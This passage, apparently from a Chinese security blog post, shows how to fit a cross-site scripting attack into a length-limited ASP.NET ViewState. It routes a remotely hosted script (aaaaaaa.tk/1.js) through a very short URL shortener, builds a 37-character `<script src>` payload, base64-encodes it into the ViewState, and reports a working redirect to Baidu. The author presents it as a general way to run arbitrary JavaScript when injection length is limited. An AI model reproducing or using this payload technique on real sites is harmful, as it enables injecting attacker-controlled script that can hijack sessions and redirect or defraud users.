我这里想到的是用短域名,通过短域名来把网址变短。我找了一会儿,终于发现了一个最短的短域名服务,太叽网http://2.gy/。这个短域名可以说是短到不能再短,比google,新浪,腾讯提供的短域名服务都要短一些。这个域名支持自定义的短域名,http://2.gy/后面可以自定义。我开始想弄一个字母或者一个字符,发现都已经被别人用掉了,于是只好用了1个字母和1个字符的短域名,这样一共占有2个字节,也不算多。
http://aaaaaaa.tk/1.js经过转换就成了http://2.gy/**,这样就够短了,哈哈。
最终我们构造出来的XSS为:
Code
<script src="http://2.gy/**"></script>
比了一下,和《script》alert("ASP.NET XSS")《/script》长度一样。37个字符。这样长度的XSS直接base64加密,然后替换掉原来viewstate的值,通过浏览器访问,发现是可以跳转到百度的。
总结,这里利用了两次转换。第一次是把真正要执行的js写到其他文件,然后通过远程包含的方式来执行;第二次是通过短域名把网址变短。 由于1.js的内容是可以修改成任何你想要的js代码的,所以这个方法应该是可以实现任何js的XSS了。
当跨站长度受到限制的时候,可以考虑这个方法。